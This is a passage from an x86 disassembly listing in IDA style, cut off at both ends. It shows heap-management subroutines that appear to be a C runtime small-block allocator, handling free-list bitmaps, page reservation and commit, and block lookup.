[eax+17h] sub edx, [ecx+0Ch] mov eax, [ecx+10h] and esi, 0FFFFFFF0h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] dec ecx cmp esi, ecx mov [ebp+arg_8], ecx mov ebx, [ecx+edi-4] lea edi, [ecx+edi-4] mov [ebp+var_4], ebx jle loc_41E82E test bl, 1 jnz loc_41E827 add ebx, ecx cmp esi, ebx jg loc_41E827 mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_41E6F7 push 3Fh pop ecx mov [ebp+var_8], ecx loc_41E6F7: ; CODE XREF: sub_41E680+6Fj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_41E747 cmp ecx, 20h jnb short loc_41E723 mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_41E747 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41E747 ; --------------------------------------------------------------------------- loc_41E723: ; CODE XREF: sub_41E680+82j add ecx, 0FFFFFFE0h mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41E747 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41E747: ; CODE XREF: sub_41E680+7Dj ; sub_41E680+9Aj ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_41E815 mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi lea ecx, [ecx+esi-4] cmp edi, 3Fh jbe short loc_41E781 push 3Fh pop edi loc_41E781: ; CODE XREF: sub_41E680+FCj mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_41E803 mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_8+3], cl inc cl mov [edi+eax+4], cl jnb short loc_41E7DA cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41E7CD mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41E7CD: ; CODE XREF: sub_41E680+13Dj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, edi jmp short loc_41E7FF ; --------------------------------------------------------------------------- loc_41E7DA: ; CODE XREF: sub_41E680+137j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41E7F0 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41E7F0: ; CODE XREF: sub_41E680+15Ej lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] mov edx, 80000000h loc_41E7FF: ; CODE XREF: sub_41E680+158j shr edx, cl or [eax], edx loc_41E803: ; CODE XREF: sub_41E680+125j mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_41E818 ; --------------------------------------------------------------------------- loc_41E815: ; CODE XREF: sub_41E680+E5j mov edx, [ebp+arg_4] loc_41E818: ; CODE XREF: sub_41E680+193j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_41E96E ; --------------------------------------------------------------------------- loc_41E827: ; CODE XREF: sub_41E680+52j ; sub_41E680+5Cj xor eax, eax jmp loc_41E971 ; --------------------------------------------------------------------------- loc_41E82E: ; CODE XREF: sub_41E680+49j jge loc_41E96E mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] mov [ebp+arg_4], ebx sar esi, 4 dec esi mov [ebx-4], ecx cmp esi, 3Fh jbe short loc_41E859 push 3Fh pop esi loc_41E859: ; CODE XREF: sub_41E680+1D4j test byte ptr [ebp+var_4], 1 jnz loc_41E8E8 mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41E872 push 3Fh pop esi loc_41E872: ; CODE XREF: sub_41E680+1EDj mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_41E8C1 cmp esi, 20h jnb short loc_41E89D mov ebx, 80000000h mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_41E8BE mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41E8BE ; --------------------------------------------------------------------------- loc_41E89D: ; CODE XREF: sub_41E680+1FDj lea ecx, [esi-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41E8BE mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41E8BE: ; CODE XREF: sub_41E680+214j ; sub_41E680+21Bj ... mov ebx, [ebp+arg_4] loc_41E8C1: ; CODE XREF: sub_41E680+1F8j mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov ecx, [edi+4] mov esi, [edi+8] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41E8E8 push 3Fh pop esi loc_41E8E8: ; CODE XREF: sub_41E680+1DDj ; sub_41E680+263j mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [ebx+4], edi mov [ebx+8], ecx mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41E965 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [esi+eax+4], cl jnb short loc_41E93C cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E92F mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_41E92F: ; CODE XREF: sub_41E680+29Fj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, esi jmp short loc_41E961 ; --------------------------------------------------------------------------- loc_41E93C: ; CODE XREF: sub_41E680+299j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E952 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_41E952: ; CODE XREF: sub_41E680+2C0j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] mov edx, 80000000h loc_41E961: ; CODE XREF: sub_41E680+2BAj shr edx, cl or [eax], edx loc_41E965: ; CODE XREF: sub_41E680+287j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_41E96E: ; CODE XREF: sub_41E680+1A2j ; sub_41E680:loc_41E82Ej push 1 pop eax loc_41E971: ; CODE XREF: sub_41E680+1A9j pop edi pop esi pop ebx leave retn sub_41E680 endp ; =============== S U B R O U T I N E ======================================= sub_41E976 proc near ; CODE XREF: sub_41EC6E:loc_41EE3Dp cmp dword_43A2E0, 0FFFFFFFFh push ebx push ebp push esi push edi jnz short loc_41E98A mov esi, offset off_43A2D0 jmp short loc_41E9A7 ; --------------------------------------------------------------------------- loc_41E98A: ; CODE XREF: sub_41E976+Bj push 2020h push 0 push dword_4DC904 nop call near ptr 2790000h mov esi, eax test esi, esi jz loc_41EAB3 loc_41E9A7: ; CODE XREF: sub_41E976+12j mov ebp, dword_4271C4 push 4 push 2000h push 400000h push 0 call ebp mov edi, eax test edi, edi jz loc_41EA9C push 4 mov ebx, 10000h push 1000h push ebx push edi call ebp test eax, eax jz loc_41EA8E mov eax, offset off_43A2D0 cmp esi, eax jnz short loc_41EA06 cmp off_43A2D0, 0 jnz short loc_41E9F6 mov off_43A2D0, eax loc_41E9F6: ; CODE XREF: sub_41E976+79j cmp off_43A2D4, 0 jnz short loc_41EA1B mov off_43A2D4, eax jmp short loc_41EA1B ; --------------------------------------------------------------------------- loc_41EA06: ; CODE XREF: sub_41E976+70j mov [esi], eax mov eax, off_43A2D4 mov [esi+4], eax mov off_43A2D4, esi mov eax, [esi+4] mov [eax], esi loc_41EA1B: ; CODE XREF: sub_41E976+87j ; sub_41E976+8Ej lea eax, [edi+400000h] lea ecx, [esi+98h] mov [esi+14h], eax lea eax, [esi+18h] mov [esi+0Ch], ecx mov [esi+10h], edi mov [esi+8], eax xor ebp, ebp mov ecx, 0F1h loc_41EA3D: ; CODE XREF: sub_41E976+E2j xor edx, edx cmp ebp, 10h setnl dl dec edx and edx, ecx dec edx inc ebp mov [eax], edx mov [eax+4], ecx add eax, 8 cmp ebp, 400h jl short loc_41EA3D push ebx push 0 push edi call sub_41B590 add esp, 0Ch loc_41EA66: ; CODE XREF: sub_41E976+112j mov eax, [esi+10h] add eax, ebx cmp edi, eax jnb short loc_41EA8A or byte ptr [edi+0F8h], 0FFh lea eax, [edi+8] mov [edi], eax mov dword ptr [edi+4], 0F0h add edi, 1000h jmp short loc_41EA66 ; --------------------------------------------------------------------------- loc_41EA8A: ; CODE XREF: sub_41E976+F7j mov eax, esi jmp short loc_41EAB5 ; --------------------------------------------------------------------------- loc_41EA8E: ; CODE XREF: sub_41E976+63j push 8000h push 0 push edi nop call near ptr 2880639h loc_41EA9C: ; CODE XREF: sub_41E976+4Bj cmp esi, offset off_43A2D0 jz short loc_41EAB3 push esi push 0 push dword_4DC904 nop call near ptr 2780000h loc_41EAB3: ; CODE XREF: sub_41E976+2Bj ; sub_41E976+12Cj xor eax, eax loc_41EAB5: ; CODE XREF: sub_41E976+116j pop edi pop esi pop ebp pop ebx retn sub_41E976 endp ; =============== S U B R O U T I N E ======================================= sub_41EABA proc near ; CODE XREF: sub_41EB10+A5p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 8000h push 0 push dword ptr [esi+10h] nop call near ptr 2880639h cmp off_43C2F0, esi jnz short loc_41EADF mov eax, [esi+4] mov off_43C2F0, eax loc_41EADF: ; CODE XREF: sub_41EABA+1Bj cmp esi, offset off_43A2D0 jz short loc_41EB07 mov eax, [esi+4] mov ecx, [esi] push esi push 0 mov [eax], ecx mov eax, [esi] mov ecx, [esi+4] mov [eax+4], ecx push dword_4DC904 nop call near ptr 2780000h pop esi retn ; --------------------------------------------------------------------------- loc_41EB07: ; CODE XREF: sub_41EABA+2Bj or dword_43A2E0, 0FFFFFFFFh pop esi retn sub_41EABA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EB10 proc near ; CODE XREF: sub_41EC29+3Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi mov esi, off_43A2D4 push edi loc_41EB1D: ; CODE XREF: sub_41EB10+B7j cmp dword ptr [esi+10h], 0FFFFFFFFh jz loc_41EBBB and [ebp+var_4], 0 lea edi, [esi+2010h] mov ebx, 3FF000h loc_41EB36: ; CODE XREF: sub_41EB10+72j cmp dword ptr [edi], 0F0h jnz short loc_41EB77 mov eax, ebx push 4000h add eax, [esi+10h] push 1000h push eax nop call near ptr 2880639h test eax, eax jz short loc_41EB77 or dword ptr [edi], 0FFFFFFFFh dec dword_4DB2F4 mov eax, [esi+0Ch] test eax, eax jz short loc_41EB6C cmp eax, edi jbe short loc_41EB6F loc_41EB6C: ; CODE XREF: sub_41EB10+56j mov [esi+0Ch], edi loc_41EB6F: ; CODE XREF: sub_41EB10+5Aj inc [ebp+var_4] dec [ebp+arg_0] jz short loc_41EB84 loc_41EB77: ; CODE XREF: sub_41EB10+2Cj ; sub_41EB10+46j sub ebx, 1000h sub edi, 8 test ebx, ebx jge short loc_41EB36 loc_41EB84: ; CODE XREF: sub_41EB10+65j cmp [ebp+var_4], 0 mov ecx, esi mov esi, [esi+4] jz short loc_41EBBB cmp dword ptr [ecx+18h], 0FFFFFFFFh jnz short loc_41EBBB push 1 lea eax, [ecx+20h] pop edx loc_41EB9B: ; CODE XREF: sub_41EB10+9Aj cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41EBAC inc edx add eax, 8 cmp edx, 400h jl short loc_41EB9B loc_41EBAC: ; CODE XREF: sub_41EB10+8Ej cmp edx, 400h jnz short loc_41EBBB push ecx call sub_41EABA pop ecx loc_41EBBB: ; CODE XREF: sub_41EB10+11j ; sub_41EB10+7Dj ... cmp esi, off_43A2D4 jz short loc_41EBCD cmp [ebp+arg_0], 0 jg loc_41EB1D loc_41EBCD: ; CODE XREF: sub_41EB10+B1j pop edi pop esi pop ebx leave retn sub_41EB10 endp ; =============== S U B R O U T I N E ======================================= sub_41EBD2 proc near ; CODE XREF: sub_41B0B1+3Ap ; sub_41B202+173p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov edx, offset off_43A2D0 push esi mov ecx, edx loc_41EBDE: ; CODE XREF: sub_41EBD2+1Cj cmp eax, [ecx+10h] jbe short loc_41EBE8 cmp eax, [ecx+14h] jb short loc_41EBF0 loc_41EBE8: ; CODE XREF: sub_41EBD2+Fj mov ecx, [ecx] cmp ecx, edx jz short loc_41EC25 jmp short loc_41EBDE ; --------------------------------------------------------------------------- loc_41EBF0: ; CODE XREF: sub_41EBD2+14j test al, 0Fh jnz short loc_41EC25 mov esi, eax mov edx, 100h and esi, 0FFFh cmp esi, edx jb short loc_41EC25 mov esi, [esp+4+arg_4] mov [esi], ecx mov esi, [esp+4+arg_8] mov ecx, eax and cx, 0F000h sub eax, ecx mov [esi], ecx sub eax, edx pop esi sar eax, 4 lea eax, [eax+ecx+8] retn ; --------------------------------------------------------------------------- loc_41EC25: ; CODE XREF: sub_41EBD2+1Aj ; sub_41EBD2+20j ... xor eax, eax pop esi retn sub_41EBD2 endp ; =============== S U B R O U T I N E ======================================= sub_41EC29 proc near ; CODE XREF: sub_41B0B1+4Dp ; sub_41B202+1D5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] sub ecx, [eax+10h] sar ecx, 0Ch lea eax, [eax+ecx*8+18h] mov ecx, [esp+arg_8] movzx edx, byte ptr [ecx] add [eax], edx and byte ptr [ecx], 0 cmp dword ptr [eax], 0F0h mov dword ptr [eax+4], 0F1h jnz short locret_41EC6D inc dword_4DB2F4 cmp dword_4DB2F4, 20h jnz short locret_41EC6D push 10h call sub_41EB10 pop ecx locret_41EC6D: ; CODE XREF: sub_41EC29+2Bj ; sub_41EC29+3Aj retn sub_41EC29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EC6E proc near ; CODE XREF: sub_41B202+1ACp ; sub_41B513+4Ap ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, off_43C2F0 push edi loc_41EC7C: ; CODE XREF: sub_41EC6E+C6j mov edx, [esi+10h] cmp edx, 0FFFFFFFFh jz loc_41ED27 mov edi, [esi+8] lea ecx, [esi+2018h] mov eax, edi sub eax, esi sub eax, 18h sar eax, 3 shl eax, 0Ch add eax, edx cmp edi, ecx mov [ebp+var_4], eax jnb short loc_41ECE1 loc_41ECA7: ; CODE XREF: sub_41EC6E+6Fj mov ecx, [edi] mov ebx, [ebp+arg_0] cmp ecx, ebx jl short loc_41ECCA cmp [edi+4], ebx jbe short loc_41ECCA push ebx push ecx push eax call sub_41EE76 add esp, 0Ch test eax, eax jnz short loc_41ED39 mov eax, [ebp+var_4] mov [edi+4], ebx loc_41ECCA: ; CODE XREF: sub_41EC6E+40j ; sub_41EC6E+45j add edi, 8 lea ecx, [esi+2018h] add eax, 1000h cmp edi, ecx mov [ebp+var_4], eax jb short loc_41ECA7 jmp short loc_41ECE4 ; --------------------------------------------------------------------------- loc_41ECE1: ; CODE XREF: sub_41EC6E+37j mov ebx, [ebp+arg_0] loc_41ECE4: ; CODE XREF: sub_41EC6E+71j mov eax, [esi+8] mov ecx, [esi+10h] lea edi, [esi+18h] mov [ebp+var_8], eax cmp edi, eax mov [ebp+var_4], ecx jnb short loc_41ED2A loc_41ECF7: ; CODE XREF: sub_41EC6E+B5j mov eax, [edi] cmp eax, ebx jl short loc_41ED16 cmp [edi+4], ebx jbe short loc_41ED16 push ebx push eax push [ebp+var_4] call sub_41EE76 add esp, 0Ch test eax, eax jnz short loc_41ED39 mov [edi+4], ebx loc_41ED16: ; CODE XREF: sub_41EC6E+8Dj ; sub_41EC6E+92j add [ebp+var_4], 1000h add edi, 8 cmp edi, [ebp+var_8] jb short loc_41ECF7 jmp short loc_41ED2A ; --------------------------------------------------------------------------- loc_41ED27: ; CODE XREF: sub_41EC6E+14j mov ebx, [ebp+arg_0] loc_41ED2A: ; CODE XREF: sub_41EC6E+87j ; sub_41EC6E+B7j mov esi, [esi] cmp esi, off_43C2F0 jz short loc_41ED49 jmp loc_41EC7C ; --------------------------------------------------------------------------- loc_41ED39: ; CODE XREF: sub_41EC6E+54j ; sub_41EC6E+A3j mov off_43C2F0, esi sub [edi], ebx mov [esi+8], edi jmp loc_41EE71 ; --------------------------------------------------------------------------- loc_41ED49: ; CODE XREF: sub_41EC6E+C4j mov eax, offset off_43A2D0 mov edi, eax loc_41ED50: ; CODE XREF: sub_41EC6E+F8j cmp dword ptr [edi+10h], 0FFFFFFFFh jz short loc_41ED5C cmp dword ptr [edi+0Ch], 0 jnz short loc_41ED68 loc_41ED5C: ; CODE XREF: sub_41EC6E+E6j mov edi, [edi] cmp edi, eax jz loc_41EE3D jmp short loc_41ED50 ; --------------------------------------------------------------------------- loc_41ED68: ; CODE XREF: sub_41EC6E+ECj mov ebx, [edi+0Ch] and [ebp+var_4], 0 mov esi, ebx mov eax, ebx sub esi, edi sub esi, 18h sar esi, 3 shl esi, 0Ch add esi, [edi+10h] cmp dword ptr [ebx], 0FFFFFFFFh jnz short loc_41ED97 loc_41ED86: ; CODE XREF: sub_41EC6E+127j cmp [ebp+var_4], 10h jge short loc_41ED97 add eax, 8 inc [ebp+var_4] cmp dword ptr [eax], 0FFFFFFFFh jz short loc_41ED86 loc_41ED97: ; CODE XREF: sub_41EC6E+116j ; sub_41EC6E+11Cj mov eax, [ebp+var_4] push 4 shl eax, 0Ch push 1000h push eax push esi mov [ebp+var_8], eax nop call near ptr 2880761h cmp eax, esi jnz loc_41EE6F push 0 push [ebp+var_8] push esi call sub_41B590 mov edx, [ebp+var_4] add esp, 0Ch test edx, edx mov ecx, ebx jle short loc_41EDFE lea eax, [esi+4] mov [ebp+var_4], edx loc_41EDD4: ; CODE XREF: sub_41EC6E+18Ej or byte ptr [eax+0F4h], 0FFh lea edx, [eax+4] mov [eax-4], edx mov edx, 0F0h mov [eax], edx mov [ecx], edx mov dword ptr [ecx+4], 0F1h add eax, 1000h add ecx, 8 dec [ebp+var_4] jnz short loc_41EDD4 loc_41EDFE: ; CODE XREF: sub_41EC6E+15Ej mov off_43C2F0, edi lea eax, [edi+2018h] loc_41EE0A: ; CODE XREF: sub_41EC6E+1A8j cmp ecx, eax jnb short loc_41EE1A cmp dword ptr [ecx], 0FFFFFFFFh jz short loc_41EE18 add ecx, 8 jmp short loc_41EE0A ; --------------------------------------------------------------------------- loc_41EE18: ; CODE XREF: sub_41EC6E+1A3j cmp ecx, eax loc_41EE1A: ; CODE XREF: sub_41EC6E+19Ej sbb eax, eax and eax, ecx mov [edi+0Ch], eax mov eax, [ebp+arg_0] mov [esi+8], al mov [edi+8], ebx sub [ebx], eax sub [esi+4], eax lea ecx, [esi+eax+8] lea eax, [esi+100h] mov [esi], ecx jmp short loc_41EE71 ; --------------------------------------------------------------------------- loc_41EE3D: ; CODE XREF: sub_41EC6E+F2j call sub_41E976 test eax, eax jz short loc_41EE6F mov ecx, [eax+10h] mov [ecx+8], bl lea edx, [ecx+ebx+8] mov off_43C2F0, eax mov [ecx], edx mov edx, 0F0h sub edx, ebx mov [ecx+4], edx movzx edx, bl sub [eax+18h], edx lea eax, [ecx+100h] jmp short loc_41EE71 ; --------------------------------------------------------------------------- loc_41EE6F: ; CODE XREF: sub_41EC6E+143j ; sub_41EC6E+1D6j xor eax, eax loc_41EE71: ; CODE XREF: sub_41EC6E+D6j ; sub_41EC6E+1CDj ... pop edi pop esi pop ebx leave retn sub_41EC6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EE76 proc near ; CODE XREF: sub_41EC6E+4Ap ; sub_41EC6E+99p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_8] push ebx push esi mov esi, [ecx+4] push edi mov edi, [ecx] lea ebx, [ecx+0F8h] cmp esi, edx mov [ebp+var_4], edi mov eax, edi mov [ebp+arg_0], ebx jb short loc_41EEBB lea eax, [edi+edx] mov [edi], dl cmp eax, ebx jnb short loc_41EEAA add [ecx], edx sub [ecx+4], edx jmp short loc_41EEB3 ; --------------------------------------------------------------------------- loc_41EEAA: ; CODE XREF: sub_41EE76+2Bj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41EEB3: ; CODE XREF: sub_41EE76+32j lea eax, [edi+8] jmp loc_41EF89 ; --------------------------------------------------------------------------- loc_41EEBB: ; CODE XREF: sub_41EE76+22j add esi, edi cmp byte ptr [esi], 0 jz short loc_41EEC4 mov eax, esi loc_41EEC4: ; CODE XREF: sub_41EE76+4Aj lea esi, [eax+edx] cmp esi, ebx jnb short loc_41EF0E loc_41EECB: ; CODE XREF: sub_41EE76+96j mov bl, [eax] test bl, bl jnz short loc_41EF01 push 1 lea ebx, [eax+1] pop esi loc_41EED7: ; CODE XREF: sub_41EE76+68j cmp byte ptr [ebx], 0 jnz short loc_41EEE0 inc ebx inc esi jmp short loc_41EED7 ; --------------------------------------------------------------------------- loc_41EEE0: ; CODE XREF: sub_41EE76+64j cmp esi, edx jnb short loc_41EF32 cmp eax, [ebp+var_4] jnz short loc_41EEEE mov [ecx+4], esi jmp short loc_41EEFA ; --------------------------------------------------------------------------- loc_41EEEE: ; CODE XREF: sub_41EE76+71j sub [ebp+arg_4], esi cmp [ebp+arg_4], edx jb loc_41EF93 loc_41EEFA: ; CODE XREF: sub_41EE76+76j mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41EF06 ; --------------------------------------------------------------------------- loc_41EF01: ; CODE XREF: sub_41EE76+59j movzx esi, bl add eax, esi loc_41EF06: ; CODE XREF: sub_41EE76+89j lea esi, [eax+edx] cmp esi, [ebp+arg_0] jb short loc_41EECB loc_41EF0E: ; CODE XREF: sub_41EE76+53j lea esi, [ecx+8] loc_41EF11: ; CODE XREF: sub_41EE76+EBj ; sub_41EE76+F2j cmp esi, edi jnb short loc_41EF93 lea eax, [esi+edx] cmp eax, [ebp+arg_0] jnb short loc_41EF93 mov al, [esi] test al, al jnz short loc_41EF63 push 1 lea ebx, [esi+1] pop eax loc_41EF29: ; CODE XREF: sub_41EE76+BAj cmp byte ptr [ebx], 0 jnz short loc_41EF53 inc ebx inc eax jmp short loc_41EF29 ; --------------------------------------------------------------------------- loc_41EF32: ; CODE XREF: sub_41EE76+6Cj lea ebx, [eax+edx] cmp ebx, [ebp+arg_0] jnb short loc_41EF43 sub esi, edx mov [ecx], ebx mov [ecx+4], esi jmp short loc_41EF4C ; --------------------------------------------------------------------------- loc_41EF43: ; CODE XREF: sub_41EE76+C2j and dword ptr [ecx+4], 0 lea esi, [ecx+8] mov [ecx], esi loc_41EF4C: ; CODE XREF: sub_41EE76+CBj mov [eax], dl add eax, 8 jmp short loc_41EF89 ; --------------------------------------------------------------------------- loc_41EF53: ; CODE XREF: sub_41EE76+B6j cmp eax, edx jnb short loc_41EF6A sub [ebp+arg_4], eax cmp [ebp+arg_4], edx jb short loc_41EF93 mov esi, ebx jmp short loc_41EF11 ; --------------------------------------------------------------------------- loc_41EF63: ; CODE XREF: sub_41EE76+ABj movzx eax, al add esi, eax jmp short loc_41EF11 ; --------------------------------------------------------------------------- loc_41EF6A: ; CODE XREF: sub_41EE76+DFj lea ebx, [esi+edx] cmp ebx, [ebp+arg_0] jnb short loc_41EF7B sub eax, edx mov [ecx], ebx mov [ecx+4], eax jmp short loc_41EF84 ; --------------------------------------------------------------------------- loc_41EF7B: ; CODE XREF: sub_41EE76+FAj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41EF84: ; CODE XREF: sub_41EE76+103j mov [esi], dl lea eax, [esi+8] loc_41EF89: ; CODE XREF: sub_41EE76+40j ; sub_41EE76+DBj imul ecx, 0Fh shl eax, 4 sub eax, ecx jmp short loc_41EF95 ; --------------------------------------------------------------------------- loc_41EF93: ; CODE XREF: sub_41EE76+7Ej ; sub_41EE76+9Dj ... xor eax, eax loc_41EF95: ; CODE XREF: sub_41EE76+11Bj pop edi pop esi pop ebx leave retn sub_41EE76 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EF9A proc near ; CODE XREF: sub_41B202+19Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi movzx ecx, byte ptr [edx] push edi mov edi, [ebp+arg_0] and [ebp+var_4], 0 mov eax, ebx sub eax, [edi+10h] sar eax, 0Ch cmp ecx, [ebp+arg_C] lea edi, [edi+eax*8+18h] jbe short loc_41EFD4 mov eax, [ebp+arg_C] sub ecx, eax mov [edx], al add [edi], ecx mov dword ptr [edi+4], 0F1h jmp short loc_41F034 ; --------------------------------------------------------------------------- loc_41EFD4: ; CODE XREF: sub_41EF9A+26j jnb short loc_41F03B mov eax, [ebp+arg_C] lea esi, [edx+eax] lea eax, [ebx+0F8h] cmp eax, esi jb short loc_41F03B lea eax, [ecx+edx] loc_41EFE9: ; CODE XREF: sub_41EF9A+59j cmp eax, esi jnb short loc_41EFF7 cmp byte ptr [eax], 0 jnz short loc_41EFF5 inc eax jmp short loc_41EFE9 ; --------------------------------------------------------------------------- loc_41EFF5: ; CODE XREF: sub_41EF9A+56j cmp eax, esi loc_41EFF7: ; CODE XREF: sub_41EF9A+51j jnz short loc_41F03B mov al, byte ptr [ebp+arg_C] mov [edx], al mov eax, [ebx] cmp edx, eax ja short loc_41F02F cmp esi, eax jbe short loc_41F02F lea eax, [ebx+0F8h] cmp esi, eax jnb short loc_41F026 xor eax, eax mov [ebx], esi cmp [esi], al jnz short loc_41F021 loc_41F01A: ; CODE XREF: sub_41EF9A+85j inc eax cmp byte ptr [esi+eax], 0 jz short loc_41F01A loc_41F021: ; CODE XREF: sub_41EF9A+7Ej mov [ebx+4], eax jmp short loc_41F02F ; --------------------------------------------------------------------------- loc_41F026: ; CODE XREF: sub_41EF9A+76j and dword ptr [ebx+4], 0 lea eax, [ebx+8] mov [ebx], eax loc_41F02F: ; CODE XREF: sub_41EF9A+68j ; sub_41EF9A+6Cj ... sub ecx, [ebp+arg_C] add [edi], ecx loc_41F034: ; CODE XREF: sub_41EF9A+38j mov [ebp+var_4], 1 loc_41F03B: ; CODE XREF: sub_41EF9A:loc_41EFD4j ; sub_41EF9A+4Aj ... mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_41EF9A endp ; =============== S U B R O U T I N E ======================================= sub_41F043 proc near ; CODE XREF: sub_41B11A+A9p ; sub_41BB4F+2Dp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz loc_41F117 test al, 40h jnz loc_41F117 test al, 2 jz short loc_41F069 or al, 20h mov [esi+0Ch], eax jmp loc_41F117 ; --------------------------------------------------------------------------- loc_41F069: ; CODE XREF: sub_41F043+1Aj or al, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41F07D push esi call sub_4239EF pop ecx jmp short loc_41F082 ; --------------------------------------------------------------------------- loc_41F07D: ; CODE XREF: sub_41F043+2Fj mov eax, [esi+8] mov [esi], eax loc_41F082: ; CODE XREF: sub_41F043+38j push dword ptr [esi+18h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_41F11C add esp, 0Ch mov [esi+4], eax test eax, eax jz short loc_41F106 cmp eax, 0FFFFFFFFh jz short loc_41F106 mov edx, [esi+0Ch] test dl, 82h jnz short loc_41F0DB mov ecx, [esi+10h] push edi cmp ecx, 0FFFFFFFFh jz short loc_41F0C4 mov edi, ecx sar edi, 5 and ecx, 1Fh mov edi, dword_4DC5C0[edi*4] lea edi, [edi+ecx*8] jmp short loc_41F0C9 ; --------------------------------------------------------------------------- loc_41F0C4: ; CODE XREF: sub_41F043+6Bj mov edi, offset dword_43C950 loc_41F0C9: ; CODE XREF: sub_41F043+7Fj mov cl, [edi+4] pop edi and cl, 82h cmp cl, 82h jnz short loc_41F0DB or dh, 20h mov [esi+0Ch], edx loc_41F0DB: ; CODE XREF: sub_41F043+62j ; sub_41F043+90j cmp dword ptr [esi+18h], 200h jnz short loc_41F0F8 mov ecx, [esi+0Ch] test cl, 8 jz short loc_41F0F8 test ch, 4 jnz short 